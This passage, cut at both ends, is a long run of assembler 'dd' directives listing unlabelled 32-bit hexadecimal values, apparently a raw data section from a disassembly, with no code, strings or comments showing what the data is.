0A62A5B5Fh, 3016B263h, 4609FABCh, 0FC1E870Fh, 0BE8FE4F2h dd 0E8D2A4F7h, 0BF1A2068h, 6D9D7A38h, 44CB3243h, 0F6B7FEh dd 23C1412Eh, 0B23EE046h, 0F7C89B25h, 0ACBE1980h, 74E2BD5h dd 0A5136ABh, 64FE8A25h, 0EA3CBAEh, 0A78F3755h, 0AE134B6Ch dd 0CDAF703Eh, 0B99141B8h, 97747F1Fh, 1D6598C1h, 1603D58h dd 0D99A07B9h, 6F880F0Ch, 9561702Ch, 4DD4BCFCh, 9A80431Bh dd 3E4C1F76h, 4B0E0613h, 3080D5FCh, 566BF5ADh, 0B1611200h dd 6C4275C5h, 0CB213927h, 849D9680h, 0FD8D2932h, 445FDBC9h dd 816B0044h, 0C1D2703Dh, 0A771EB4Eh, 0C24C231Fh, 41D9F541h dd 282B5A7Ah, 6BE198BFh, 0A201557Ah, 55822F22h, 0D8757FF8h dd 0D2C2DABBh, 0A6BF5D34h, 0FB8B8120h, 5C5BC65Bh, 1C62C0CFh dd 1AF4BEE3h, 2D593B40h, 0DF0E0152h, 7587AD1Ah, 9A41600Ch dd 111E6200h, 88DB2FBBh, 4FF69F7Ah, 460AEF6h, 1A21F447h dd 49DE88Bh, 15E96193h, 0E04E3FB8h, 91B40D39h, 0D7E5DE9Fh dd 1AFAA033h, 6CB6C124h, 5494BEE4h, 0B1973C1h, 312B9C2Ah dd 236235F8h, 5FD59D67h, 5B774564h, 8B6C382Fh, 704B7BEBh dd 18976AB7h, 0B7FC4A68h, 0D46B27F1h, 3501DE3Ch, 0B85F5A70h dd 932CFAD0h, 16F4B25Fh, 45B62409h, 0E75754F0h, 20E559BFh dd 1EA92D8Fh, 48A078A2h, 43B405Ch, 5AF8CC10h, 0EDD3F1E8h dd 0EB77C0BEh, 3719CE9Eh, 0F49EEE61h, 244C21Ch, 0AA5BBC2Ch dd 46B7h, 0F3C6F7EBh, 366A9772h, 83790777h, 16067777h dd 32D10914h, 64CF95E4h, 5956D041h, 3E6C03Fh, 0AEB5E9BDh dd 2EA5C4B9h, 0E3D671B9h, 86BB02BCh, 0FF074F40h, 0BA6878EDh dd 1DA3F8E1h, 14E3E93Eh, 17B6D1FFh, 24B765B9h, 0FA13EB5Ah dd 0B6E463F9h, 0C8AEA494h, 0BA0586FDh, 26A30B0h, 27838FBCh dd 73C8A3A7h, 0F3BF5238h, 7FB342B4h, 21ACB213h, 2E336090h dd 8904F2FDh, 0F137995h, 0DF29C961h, 0F49F74E4h, 7B9FD460h dd 2D0881A6h, 2F2CF380h, 0DD89B6F6h, 61CD9509h, 8A35FCE0h dd 88D0250h, 0F53BB9AAh, 4DC41BE0h, 6139CE17h, 16AC03FDh dd 0E3FC168Ch, 0AB51D4DEh, 0BB96C21h, 0CF24FD2Bh, 2BCDA489h dd 4A78CBFFh, 0C2A13890h, 5CDA252Eh, 95AE94F7h, 1B91E635h dd 1780BF96h, 1628DB2Ah, 6FFF6AC4h, 7664259Fh, 29DD2DAFh dd 1C4CDFE2h, 0A37B0A45h, 77B029E1h, 213A2F00h, 6043E0h dd 0F2CC6942h, 0CE099B79h, 70E69226h, 817125h, 43BB71E4h dd 4C4A37DBh, 29D7AAD2h, 5CFDEAFDh, 6BA0869h, 0CAB53189h dd 0B9D2867Eh, 1D72BD8Dh, 0F29FEABAh, 0D1B5106Eh, 0D88BC00Ah dd 0EE81C82Bh, 0C3791E56h, 0B3D18C75h, 67D697E6h, 0B000B1F2h dd 7B15836Bh, 840EB6A8h, 219813DDh, 654353E7h, 38B7C920h dd 63DC5FF8h, 174E491Ch, 2E2FB044h, 0EFBD9895h, 0F2661176h dd 4365E7Eh, 0E7CA9DBCh, 18FE7BD7h, 48E9B666h, 2FFB08A9h dd 0D2219F6h, 30AB0A5Fh, 4E6944F9h, 0FE67C325h, 0BD0BD020h dd 6918D121h, 44952C69h, 9F04AA6Ch, 0CAAD9D10h, 2B8B2387h dd 97DE71DCh, 0A794F379h, 1CE91786h, 6A2398FBh, 0B2126C9Fh dd 0B6114A6Fh, 3018F208h, 9E028AE3h, 0D8B91C5Fh, 7931770Fh dd 52E62FECh, 0CFFC2200h, 4B40A73Eh, 0B4D8C709h, 3F007059h dd 37DDDD8Ah, 1F507BBDh, 0DB542DCAh, 94F99320h, 87F6BAF0h dd 0BA8C62E0h, 31005E76h, 1AB1A55h, 801F4DB5h, 6D9FD22Bh dd 7037C0EEh, 0C7172D6Ch, 0FB09CBDAh, 95D75033h, 605F259Eh dd 8D0882BDh, 61170A69h, 0CBDBC8h, 3FCC0419h, 0F9568236h dd 1C205B4Fh, 0E0AD7Dh, 5533BCDFh, 5428CBD4h, 2FA3C201h dd 93759CDDh, 0C416242Eh, 8E581DEDh, 0AD12178Bh, 0C8C80FBh dd 0B3B9F2h, 81F60676h, 0FC7C02E2h, 0AEFCA8EAh, 89FC5F4Fh dd 1E8F16AAh, 140BF4BCh, 0FA185706h, 8502FEB7h, 0A0D618A3h dd 7CDB775Bh, 72EB21BCh, 0C2618B41h, 250D3DDDh, 0F51224D4h dd 28EEB617h, 0BE013354h, 0D0A2F472h, 0AE2B9504h, 4B2EFB28h dd 25428A90h, 0F60BDE9Bh, 0E7820101h, 0DB99C63Dh, 2C09D4Ch dd 0B7341FAEh, 904AF660h, 407BDFDh, 8C07D0BBh, 0B1002B34h dd 3E5FB06Fh, 57BAB7h, 3C121FDh, 61685D3Ah, 5F6AF5Fh, 523017B2h dd 923002EEh, 32958D89h, 10EEF257h, 0F20CF99Dh, 2E3DD5AEh dd 0BF463D80h, 2528E3E5h, 147F503Fh, 4982FEBh, 0EAD0D9FBh dd 10A7050Eh, 0BFAABD99h, 78AD9A8Ch, 40F40031h, 993B2CDEh dd 60F49586h, 392EA072h, 30602C80h, 5CAD982Eh, 0DA00108Dh dd 6C23877Bh, 4525C976h, 0C866755Fh, 0E1E69495h, 8531C582h dd 0A946171Dh, 434BE826h, 0BDE0FA92h, 0E18027F8h, 7B800FF1h dd 0A47A9329h, 7D0B1275h, 65A4E4BBh, 403D5795h, 381C0B01h dd 7160DE35h, 0BF144041h, 0C7020C09h, 0A66FFF42h, 0E576A0E1h dd 2BF1E184h, 6109B495h, 93F16E95h, 0A2EB58F8h, 0DE2F2D71h dd 59887FF7h, 3ADF04ABh, 4B50F8A4h, 340B8Ch, 536AE2D9h dd 0B9719414h, 259E7001h, 8A50AAAEh, 0DC2E90FDh, 0D13C776Fh dd 6FBBDB09h, 94AD0AAAh, 5961E7F9h, 0C06EFE70h, 0C5566450h dd 82EF803Bh, 0C16B9C68h, 23D14Eh, 613E81FAh, 80002725h dd 432EFDB2h, 12EE1A56h, 0B05FDE8Bh, 68776352h, 9EA34E4Eh dd 993A0F4Eh, 0B73FD3E0h, 0EC07E105h, 110B099Eh, 8A129437h dd 0C91656CAh, 1E160BF4h, 1CBC6CA9h, 7DF0018Ch, 6D9072C2h dd 0B2EC0FCh, 0FB99D18h, 92D1E960h, 40BF3F60h, 0FF255A12h dd 0E1AEE675h, 47CA3F75h, 64884EA0h, 58072802h, 0EEACE6C5h dd 259D12E4h, 0C4F0AD03h, 0B3FF33B3h, 60AA0468h, 0A812771Ah dd 0C0EF9225h, 9335F7ECh, 0D607C602h, 4C3818A5h, 24F895A3h dd 9520A922h, 0C77C8289h, 0D9D4BFDCh, 0E58B7D4Bh, 0F8A538D9h dd 0D50EA292h, 36EC26CDh, 84A14B83h, 649EBF9Fh, 0A05F52C0h dd 51C7269h, 38A6F57Eh, 21BA03Eh, 4A0E6D68h, 7E5C608Eh dd 0A3C0404Fh dd 3C96D125h, 0BA1C6E97h, 0FCE64055h, 619C57D3h, 92A6E095h dd 71D425F5h, 1DC3D0EDh, 827FF242h, 55958991h, 0F49DEAD8h dd 1570D48Bh, 53308E1h, 0FB8B90D0h, 7AB3BA50h, 6C62F93Eh dd 6CF72399h, 67B51254h, 937BA379h, 0D47F14EEh, 0A1DAB75Ah dd 2C388D6Eh, 0EF61D80h, 6D0059FBh, 0BBFD812Bh, 3E4D5419h dd 51D9E3ACh, 5B852801h, 3A9D0361h, 0F74F7AECh, 301DB278h dd 6900E82Ch, 5E36F3CAh, 416E434h, 96579FBBh, 0A26EB81Ch dd 0D8F8F35Bh, 0A70264D5h, 0B589CF16h, 93EEFEBDh, 945EE8Dh dd 9CB945E9h, 0CF3EC5ECh, 8D6F9361h, 1D9DE3D0h, 0D447B52Eh dd 4E359D7Ch, 8D1CEE05h, 55E0CDB6h, 6609AF6Dh, 0DF5B79BBh dd 1497C146h, 4B8A4585h, 1B7D310Fh, 0B93FFFB3h, 4AFC58h dd 145A4F76h, 6A25925Dh, 0FAE78102h, 574979CFh, 565255FBh dd 0D652C209h, 68B9ED5Fh, 8B876223h, 1740C1FCh, 6A95276h dd 809BEA95h, 0EF62B6A6h, 0D53C8AEEh, 5369E24Dh, 0D2F42502h dd 0CA1796E5h, 838BBB5Dh, 7436E14h, 0E7FB9CBBh, 0E1A3105Ch dd 7026C22h, 0A8844ECh, 955BE650h, 9FAB94D7h, 3000F253h dd 5DC78196h, 10762A38h, 0C673B5F4h, 38ACE4D8h, 4454BF28h dd 3E6FFC15h, 0F6806D44h, 0F73543A3h, 4A05F9E0h, 63C6555h dd 23AB6BFFh, 8F7C0F19h, 76D9B022h, 0CE95054Ch, 8EDB166Ch dd 0D86BAA1Ah, 0C082172Eh, 0E226968Eh, 9402AB4h, 2D105Bh dd 6C9E99E3h, 38961863h, 0D92F9F1Fh, 56FF408Eh, 0EEA064FFh dd 0DC8A2F21h, 57C9493Ch, 7F539AF5h, 4654FCA9h, 548A03DCh dd 5C936E4h, 0C2E164BAh, 2D123051h, 12FEF15Ah, 252BEC37h dd 0ADA07315h, 0F4A0C70h, 290BA0E7h, 0E6448595h, 0DA40E296h dd 9D30A108h, 2BADBED8h, 4C6015C4h, 0BD5129C8h, 0A8E93B37h dd 46290CA9h, 0D380EA02h, 0FF5096DCh, 0F53E5A6Eh, 0F5B6566Bh dd 26B54180h, 13F1FC87h, 0C883019Bh, 92168FB7h, 40DFAE0Fh dd 9A679A41h, 8BF143F1h, 6167C5CCh, 0F26F2DC1h, 0CC6BD3DCh dd 0A6F3BA01h, 3A71C02Bh, 0E13C2B28h, 0A5CD7FC2h, 2B04F2EFh dd 3101022Dh, 2F19C19Dh, 71F6F2h, 0B9605049h, 39AAFB90h dd 9590617Dh, 7F354A9Dh, 0AAF89EDBh, 0D2020910h, 8AD5118Bh dd 5BA53BF9h, 181759CBh, 9AF31FEEh, 0E3CFC088h, 0B0F7039h dd 2D859D15h, 68B8935Eh, 1EDE6287h, 66ACFA60h, 2202F2B7h dd 0A5ED581Fh, 0A5E6DD6Dh, 5BEAB313h, 58A84EA2h, 0A17D0901h dd 321F7C13h, 46F19E6Ah, 0A866B084h, 88634FFBh, 74002C6Ah dd 26ABD6E5h, 17F98DBFh, 0C45F4F94h, 0FE77AB73h, 0E9740774h dd 0B584A8E7h, 9504F147h, 0E9042EFDh, 0D4C1BF3Bh, 0EC3CE4B7h dd 0C1851D32h, 8DDF35Fh, 56122425h, 4E79F730h, 160900D3h dd 0E4812029h, 0E300D48Dh, 4CB1F676h, 25CD2288h, 0B6FE5BEBh dd 0D4EE5CEBh, 8AB676BFh, 0B2935C18h, 46050DDh, 819596BCh dd 25BD2383h, 0FD47EC3Fh, 12E2602Ah, 0E7739C67h, 6977DB0Bh dd 0D002D32Fh, 650A7B30h, 85D66382h, 241A4004h, 0F55FD2ECh dd 9D112E50h, 3B1AC56h, 3FF519FAh, 0A588DFF9h, 3D598589h dd 0B7900421h, 9BEA5018h, 174CB2Bh, 11D9BDEBh, 0B5F8AA48h dd 1DE547Eh, 86DEDAA0h, 41CCFFDCh, 2F0A49E5h, 569FA4F2h dd 0A962AADFh, 9D2300D9h, 9C9702CDh, 37F4576h, 0BF844181h dd 72E4DCF3h, 0C45582DDh, 0B3900B9Fh, 0C3705035h, 0D079009Bh dd 45FED897h, 0A9A5C9D5h, 8C1DAC17h, 8EEB8702h, 0D5548CC4h dd 0E9257CD8h, 0C4DB71B2h, 603E914Ah, 0EDAD6A8Bh, 7296BB00h dd 0BF6147D2h, 2CAADE09h, 98537951h, 64F7B452h, 9001F6B8h dd 0C28F33BBh, 0C1DE5048h, 0BD6BE151h, 122112BCh, 0DB9343F2h dd 640A80C7h, 0E6FAE0A2h, 0D1A416A6h, 0B02AAC66h, 974604BFh dd 0FD5B54BAh, 12BF8E50h, 0BC95716h, 6BCA49D0h, 0CB180155h dd 6560693Bh, 256BB201h, 3FECF6B3h, 0A8922B45h, 8FAADDAh dd 20C67AF3h, 2AAD2091h, 6B02DF95h, 93115B9h, 0DD1C45B1h dd 9ACC0407h, 33110075h, 0EE73B898h, 6302D9E7h, 0AE1C6177h dd 0E014AE03h, 0ADD52B31h, 851D3888h, 43101101h, 826CDFD0h dd 5F79D497h, 48D8DF5Bh, 0B9EAA208h, 24756912h, 0B5C1C191h dd 1D2F4135h, 2E5C8258h, 575E5B52h, 6B98D62Dh, 14DEC75h dd 82A720DFh, 6B65871Dh, 1D5059EDh, 0E1166439h, 0B1714111h dd 0ADF567F5h, 842220h, 0D3A75714h, 0AAFC0FD0h, 935B5638h dd 0F0FC75E9h, 0FCA513D3h, 815000DEh, 0C4AB43E3h, 6A80973Ah dd 0B31BD01h, 2F061F22h, 3FFEF88Ah, 65BD2BE0h, 0CCF29E06h dd 234A95A8h, 344822E7h, 5F10D910h, 0B5CDD486h, 0F95332F4h dd 282F2D0Dh, 0B519895Ch, 954531C1h, 54CF6150h, 25D125BCh dd 0FB1360ECh, 639B239Ah, 0CF593DC0h, 0BEC5ADB5h, 0B7BF1171h dd 307AB06Bh, 28EF84Eh, 86E3E4EFh, 0C3C1034Fh, 0F1560202h dd 6D54AFA0h, 5B93F924h, 968ADABEh, 6B0934E6h, 6BEA800Fh dd 174066FCh, 991D65Bh, 1074B9D8h, 1FF49154h, 81CB4D0Dh dd 9B9929DFh, 9D132F1Eh, 0AF13D0AEh, 60785F3h, 5FFBC4DBh dd 0DC2556E9h, 0BAF30E00h, 4CC0709Bh, 80665E69h, 51D6E2FCh dd 6D250E90h, 83EEA23h, 2800B77Ah, 6F762ABCh, 41BF26EFh dd 20051F1Ch, 0C02B5B09h, 0CC09D531h, 0B5A59D71h, 0CDA70B2Dh dd 35B66D5Fh, 0B85CBD1Ch, 85A0B9Bh, 5B506621h, 440CEDBFh dd 8F80601Ah, 0BE6B0B5Dh, 71D310FAh, 7F0EE589h, 0BFC17B95h dd 0E5D9C18Ch, 5A8DEC30h, 0F005E220h, 25EE8060h, 307461F9h dd 0B99B01DCh, 2201D86Ah, 91856A53h, 5E5BB2C2h, 14365168h dd 0BBCDC8FFh, 7315AB00h, 417D69B5h, 0E2F30BB6h, 98FFF54Ch dd 3112D657h, 15DE7633h, 0F3F76F2Eh, 3FE78100h, 0FF262B2Ch dd 123DE148h, 3F32ACDh, 19051784h, 57DA994Eh, 0F6F77E1Ch dd 177CBD75h, 280704FAh, 0D2FCAECCh, 0D88A929Dh, 51951F69h dd 0EFF7E940h, 0DECC40D8h, 580B8380h, 599FA151h, 6C5F0081h dd 375D0332h, 0A374C200h, 9AA47139h, 93B03873h, 0E82E0493h dd 30205AC3h, 0D22C47h, 0E321CF85h, 0DD1EF6ADh, 971BF500h dd 0C2D9B9Dh, 0D76D9560h, 0D0A030C0h, 42FF1432h, 0F52A8B1Eh dd 310997DDh, 47C0CECDh, 9FE1809Ah, 1F3D6340h, 97FDF197h dd 5770BA3Ah, 0D9AE6h, 89BE9809h, 0D7DFC1A5h, 0F47F1628h dd 0E55FBD25h, 4A205030h, 0F060A625h, 8CEAB796h, 2C92BD63h dd 5C1B6107h, 1C46D626h, 82B07C0Eh, 9E697403h, 6EF178BAh dd 73A99800h, 52F609h, 8774429h, 0AD56BCD4h, 0E990CB08h dd 0DBEF8110h, 0C4B3E47Fh, 9BE02FD0h, 3E646600h, 506CC4EEh dd 0E76D9D90h, 0E44EF0C0h, 0B076B50h, 23517270h, 84A22F79h dd 0A337EB4Ah, 0F7CC3CB1h, 0C09D207Ch, 0C13710Eh, 9300A62Bh dd 685BD609h, 4AC8D752h, 0D48AB42Fh, 0B501DCF1h, 0FE682BBFh dd 1646FE89h, 1EDF3209h, 12BFCCFFh, 0F4E3E9FEh, 0D6114A1Ah dd 0B94B753Ch, 0E7EC4Ah, 0D7FA0F3Eh, 7D57BFCBh, 0FE135E2Fh dd 0BCDFC458h, 7AFE4A0Ch, 3F3A02D1h, 437795D4h, 0D511A219h dd 429FFA94h, 0EDB55053h, 0C92D9B6Fh, 0FF157F4Eh, 11FC6C40h dd 675709D4h, 445FEC4Bh, 2AB725CFh, 6A465FE2h, 991D3403h dd 39604D40h, 0A78FD82Eh, 3C007D6Eh, 968E80F3h, 67BB6604h dd 0DB835035h, 5857F7CEh, 0D783B8B2h, 3B960141h, 8F81059Bh dd 30A95A22h, 0F6B55106h, 0E05E5AD1h, 0D5E931D4h, 329D52h dd 7BE09868h, 4080975Fh dd 2ABF2367h, 0AAF659B7h, 0A2210EE8h, 8DC4BDFBh, 5B7EAB85h dd 2721832Ch, 1DF93E59h, 3100DA18h, 0F3B093BFh, 4A50CAB4h dd 0A42A04Dh, 7948FBBFh, 93661Ah, 759866B7h, 183841A7h dd 51AD9589h, 7C1FF781h, 127EE071h, 25F109BDh, 0AAA09367h dd 8814670Eh, 10CFEC77h, 3122C25h, 0AFA1EB9Dh, 0E85EE27Fh dd 302901C6h, 0D0391007h, 54213AB5h, 8FC4A17Bh, 6A5E1274h dd 0CE98FBC7h, 0E2FE95DDh, 60466DDAh, 0CD0D16B5h, 54E0FC01h dd 9E85ADAh, 17CABB15h, 88B62B28h, 4AE95B8Eh, 0B2A0A742h dd 0B403E0BBh, 0CB013D13h, 8B466A04h, 0C53AAFFAh, 6E2010F2h dd 1D122829h, 4071F593h, 8076D58Ah, 0A72F0A2Bh, 2F41B7ACh dd 0A16248F4h, 5C1AC24Ch, 80C4515Fh, 0B6D38157h, 9135D18Dh dd 3B16212h, 0C2EBFE09h, 8A22028Eh, 0CF37FF9h, 0EA6CB852h dd 8852D55h, 660984D2h, 70CC30BFh, 18739D46h, 5556FD8h dd 0EC6D80A8h, 6DC1EEEAh, 0CBD0194Fh, 58C91263h, 2546F32Ah dd 37A91096h, 0C2AE00CDh, 456E7F85h, 440067CAh, 3062EC25h dd 5A4756C6h, 0FB91A48Fh, 4473FE97h, 0AEC9EB5Bh, 0C9BF209Fh dd 4FFF5F6Bh, 0CE4B401Bh, 722E887Ch, 4A3DAD6Eh, 0B312DB8Ah dd 5608F75Eh, 48BDB0B0h, 0AE030095h, 34B445D8h, 0DB1E814Ah dd 3395F81Ch, 185089CCh, 25034868h, 10DD4B73h, 73BF5201h dd 2595128Ah, 0AA41E85Fh, 5D52EE4Ah, 0B2D07E3h, 7B259FDCh dd 0F894A038h, 38449710h, 0FF5912C9h, 0D37FAD9Ah, 0D35B52FDh dd 6A3ADE01h, 888868DBh, 3107134Dh, 55692D8Dh, 7B95AF16h dd 0BE052E9h, 0B119494Dh, 6046203Dh, 70E32Ah, 0C18CBEF5h dd 936162A9h, 0DFBF8BD9h, 0E5D06F7Dh, 0F62FE18Eh, 0B79D020Bh dd 83EA7F1Eh, 627183F3h, 2E899B30h, 9CA46F1h, 0EC5FE2F4h dd 0BA899589h, 0C0C3CDD5h, 98615BA8h, 0BBF2A612h, 0B193BBE2h dd 0BC397DE6h, 1B61021Ch, 3309D6A3h, 96D9B580h, 0FD954CB3h dd 6B989B8h, 0E88A2D04h, 80E69661h, 827D9CE2h, 45206508h dd 0F2F127FFh, 0CD8D2982h, 0E9BF5C08h, 0CEB507F0h, 1069273Ch dd 7E5A90FEh, 7DE4D4B3h, 26001575h, 162C4B27h, 972FDF80h dd 73458414h, 0A12889D9h, 411304Bh, 71003063h, 0C53D341Dh dd 0B86D0AC9h, 2F0545E6h, 0A6D6EBF9h, 0BF7AA030h, 62EA2522h dd 8E59AE09h, 83377F25h, 594DDB00h, 901F927Fh, 0FC12597h dd 407A8A54h, 800D1D17h, 297F9E9h, 0F8FD8A99h, 0B56AB088h dd 8F683EF4h, 55BBC947h, 0BF3B20A0h, 7C4860BDh, 0E1F82D3Fh dd 0E417051Fh, 1FBDC0F3h, 337FB350h, 10F2895Fh, 0A14BF75Fh dd 567F21C5h, 0EF28EE43h, 632F0089h, 983F4EEDh, 840CA024h dd 0D037EF17h, 4A297AA9h, 26192006h, 3204E420h, 0C85E22ABh dd 75D76580h, 4BAD984Ch, 0B661845Fh, 1DEAE077h, 0B6AF02BFh dd 0E19D0341h, 8190C9A4h, 140484D1h, 0D9A13F81h, 4DBD31F0h dd 0FE4B9599h, 0B200A16Fh, 0AD6ED727h, 0D39F7E93h, 0DA0D979Ch dd 0C914888Dh, 358DBC01h, 19CA2B2Ch, 256BA47Ch, 77C6E53Dh dd 95F98A20h, 77707194h, 405D4FBFh, 331BA6E3h, 0E3ED9D4Ah dd 0EF026A16h, 180EE9Bh, 0E35DD7ACh, 0D3FF4903h, 8DBD3368h dd 31BD21FFh, 7D900212h, 553BB90h, 0D3827507h, 0D7D9509Dh dd 819B1264h, 0CE310B12h, 8E2B72E9h, 29B310D6h, 0F5B50105h dd 62E6EB2Fh, 91EFA1F0h, 61839705h, 4DD2CF30h, 3FD1552Dh dd 0E4EAFF8Ch, 82D400E6h, 1A0AC4BCh, 0EF253B6Ah, 0C49AC64Bh dd 120D9940h, 0FBCD35FEh, 973D438h, 2445480Dh, 0B51E6251h dd 0AB969D44h, 0F961A8AAh, 3549603Ah, 0AC6471B1h, 0B7A81192h dd 0B874F94Bh, 6A028C19h, 11EB700Ch, 5570A969h, 0F9F5BCBAh dd 148609B3h, 1A454E50h, 0AC40842Ah, 6FEED3E7h, 0E1AD0575h dd 0B2F85084h, 0BB5FF5C0h, 4225179Bh, 570FEA63h, 0C93520BDh dd 0D92878B8h, 6EFF5AFCh, 8B0C0BBCh, 65F305D8h, 0A2AE02D5h dd 29984BBBh, 0CF818892h, 7B862D07h, 5509B05Dh, 4574F85h dd 92C19ECh, 5188555Fh, 0E8F60037h, 18FE8083h, 0C2EB6B00h dd 0B1B96020h, 0D32E2C0Dh, 43D60909h, 5C433D7Ah, 0E25AB938h dd 9600915h, 41A25D95h, 49FD8D23h, 0F37F6150h, 11405BF0h dd 0BDED6094h, 42AC3A56h, 0E08516h, 6672BB9Bh, 0FA971EC3h dd 7670F7BCh, 664DD60Ch, 0C54FDA92h, 0E83D22FBh, 0AF9C6D80h dd 84004C0Dh, 0EF014F03h, 3E290271h, 33037494h, 5BB98AB4h dd 0B7F9CA30h, 9B880F5Fh, 0F7D901BDh, 3B29C82Bh, 8B1801E2h dd 30957AD1h, 57E2E981h, 48C76C1Bh, 0D7B51980h, 0A4822Ch dd 981707BDh, 169DC88Ch, 48C0654Bh, 97494755h, 485CF31Ah dd 3D78C425h, 0DC8FAC1Ah, 89C23F7Fh, 78E069B0h, 0FAF61301h dd 0F3806606h, 0E13A5BA0h, 97F6EFDCh, 0AA435DA4h, 0BDFF6A9Ch dd 912538CDh, 4EC05C06h, 18F2574h, 99CE45F5h, 50602B56h dd 9D9E5879h, 0E20A1C00h, 5BD465BDh, 681D04FDh, 0BC61C621h dd 90A8D68Fh, 753A04D3h, 888FBD0Eh, 0E5B39D25h, 5CA7E77Bh dd 964C926h, 7EAA49EDh, 273FE204h, 6F8290BDh, 91D423ABh dd 0D7EF02DEh, 0A87CEEE6h, 0F9249902h, 141190h, 8536F8A4h dd 0FBEFABh, 34551348h, 4C171B75h, 0BE10B605h, 94AE5B31h dd 0C575B8A4h, 0A8567AB9h, 6B1088h, 0BE1E794Fh, 0A896D37h dd 5CC52D24h, 0B182B302h, 2D3B5EA0h, 57270637h, 51F545A0h dd 0FC2E17D4h, 0E508A356h, 0B85F0911h, 1E82A7D9h, 0EDD22BD0h dd 0AAA3E47Dh, 0F95AE7DBh, 4FAA8C3h, 8138DBDh, 13B2A260h dd 29EBDE1Ah, 8B6E2F13h, 9B42EA00h, 0FE8B9CB8h, 70C7E695h dd 0EDD78A84h, 756C695Eh, 26ED6B01h, 274238Fh, 0E33F122Fh dd 0B6B6A519h, 6D1FDDE0h, 2680A158h, 160B7A4Dh, 80FAB738h dd 9540912Eh, 0D5F03A4Bh, 0E5CA3725h, 0ABAA1336h, 0F800447Bh dd 0A29D7C59h, 0BD4C305Fh, 0C95550D2h, 97A90A4Eh, 20C09F94h dd 3AA1322Ah, 34E7A303h, 0D006D25Fh, 2DE30338h, 0B5FD9597h dd 0E1D926EBh, 2AE1FF42h, 38AC51F9h, 8A40BD96h, 0EEE2F5h dd 0DE367380h, 9A1F944Ah, 19881C5Bh, 0F6A02FE6h, 15A7758h dd 5B89EAECh, 90DB34D5h, 1A41258Dh, 1014AAE7h, 5D850913h dd 0C47E7932h, 0BE9EEAC7h, 0A8C671C5h, 123020E9h, 0E660E3B7h dd 34DFE0D9h, 3DD7B3F7h, 2E58B1CAh, 0BDDB4E16h, 667FB28Bh dd 95CF90C7h, 14C0A4CAh, 99970E7Dh, 0AE142157h, 98BFBC13h dd 0ED95F803h, 631C644Eh, 0E0E9C0EAh, 25D276BBh, 2BF137F2h dd 61368F0Fh, 134FA557h, 22F956FAh, 0FC5B4ADEh, 4AF93AF7h dd 0D8F58DBh, 912DD7F4h, 0FBBFACFAh, 697D7029h, 0BD4B89E8h dd 0F55B2F40h, 2E7F2C68h, 11E95236h, 79602F0Ah, 0A7B28B4Bh dd 0D35D60DFh, 0FC294E7Ch, 0CF047975h, 6C4AAFA9h, 1D337ACh dd 0E3A3A8F8h, 1E122F3Ch, 97BFFh, 0A69FB9D6h, 6212945Fh dd 85DC2A7h, 0F802E902h, 0E3AF8DA2h, 502DABE5h, 442279C1h dd 59F7EF50h, 28D6A4Fh, 0C0F5E0E3h, 69385EDBh, 0F9931171h dd 203BB88h, 0F608D9EAh, 0F35F8943h, 486F7094h, 0D4C9D70Eh dd 0D437A94Fh, 5B510BBAh, 49004D55h, 150447D3h, 96EE21C6h dd 59955A67h, 191BF92Ch, 0ACD49807h, 0F83A8BAh, 0BD965B52h dd 83B0BF18h, 0BB51B537h, 1E53B1BEh, 0A26A46B3h, 0F5962CB9h dd 299401DEh, 5BED1E46h, 13552834h, 9FAA19C8h, 770AC00Ch dd 0DA45FEh, 680D86C1h, 72C9FEFh, 20AA575Ah, 7F564E4Ch dd 52CCC90Bh, 2518D637h dd 100904D2h, 4D07339Ch, 16FCC091h, 0A0FCC486h, 45259B98h dd 8BB77F1Ch, 8F6E1D14h, 2AA480E0h, 0B82BB22Eh, 50EB24C6h dd 1D4A6063h, 0CA27855Fh, 0E68989A7h, 9D2309DBh, 6D5530E5h dd 4B4CCB46h, 8A1B821Dh, 61FE3980h, 2F16CCBFh, 30562DBEh dd 5E42EAE2h, 20625A21h, 0F84E4472h, 295E3CFFh, 31D59511h dd 619DC5DEh, 0C2B6EF02h, 4D604ABFh, 2583849h, 95A127ECh dd 6CD77232h, 55BF12C1h, 58B2EFB9h, 8D296002h, 0BF0712D5h dd 7DC65330h, 2EB89861h, 706E0DDDh, 45F4185h, 3281DEDEh dd 0F6D19D33h, 1D0BCF08h, 0D59C7F03h, 376B0C69h, 5E54A75Ch dd 0D4755F01h, 206BFCABh, 0E5628BF5h, 5AC53402h, 77CEFD12h dd 0C5D97B84h, 0BD52FE68h, 5FEC12B9h, 5B6CF15Ch, 4AF86AFAh dd 0B9A03D8h, 0F3DE519Fh, 23B13282h, 0E4E76D55h, 0E0F66214h dd 0B730B183h, 94DC1DFCh, 7BDEC037h, 1E023BDBh, 6AFC4FC8h dd 0B4905DADh, 39005E75h, 0A4905326h, 4D3738Bh, 0C9DF939Ch dd 37C0AEF5h, 5AA72A96h, 0B0BFE725h, 49BD0B91h, 89095EF5h dd 0F37D519Dh, 52C10555h, 83E3BADAh, 624E4600h, 74D8878Ah dd 5564A127h, 2A80853Fh, 0F966C6C0h, 4B0313A0h, 7F8CAA38h dd 72DE9788h, 6FA5E968h, 4D9F42CEh, 0BF5E03F5h, 0F5FA8A36h dd 85564C4Ah, 4E215DF6h, 2FA8B16h, 0F3E3E7BFh, 5E49495Eh dd 0FE3ADE6Bh, 365887E9h, 0FCF538A5h, 0A0128AAAh, 12C59896h dd 0AF17B660h, 0B9C80153h, 0C14002Bh, 0E9736FAh, 4802DB8Ah dd 0F1FCCCF3h, 39915EE3h, 6AF78009h, 956294D5h, 9091C35h dd 0FEB8FF68h, 3F951639h, 397F2586h, 0E92BB105h, 9918D870h dd 0C450812Dh, 6EB5810Fh, 99B3A308h, 76386985h, 0A8E0A24Bh dd 183F00CEh, 50710DF2h, 6BB8F64Ah, 0D50A1D25h, 30270637h dd 626774C1h, 0EFF4B4DEh, 1C85D97Fh, 0B492BEBBh, 8E7BF278h dd 7E2D1C50h, 0D14ADE41h, 61370630h, 0FE367B5Ch, 4BD6BE82h dd 8127E55Dh, 0DA273F43h, 0C94530ABh, 615901F7h, 916D33Ah dd 4A1B79E1h, 950105C0h, 8AAA1275h, 29EF1E11h, 0DC2F0AC8h dd 802D13BBh, 7BD6F536h, 758C0593h, 0AAF98B03h, 5EE21499h dd 82C5169h, 8110F582h, 0B700FEF7h, 1532739h, 971D6DBDh dd 0DCE80954h, 0C6DDE63Fh, 15DF243Bh, 0C43C161Eh, 0B3CEAAF4h dd 0D7059D17h, 0E9DA7162h, 25102FE0h, 143119B0h, 5A30C161h dd 6BA70DAh, 81F00D30h, 30ED47EAh, 8912140Ch, 0B887E595h dd 0F964FE9Fh, 2438C604h, 0E6BE9A85h, 9EA29213h, 0C22B580Ch dd 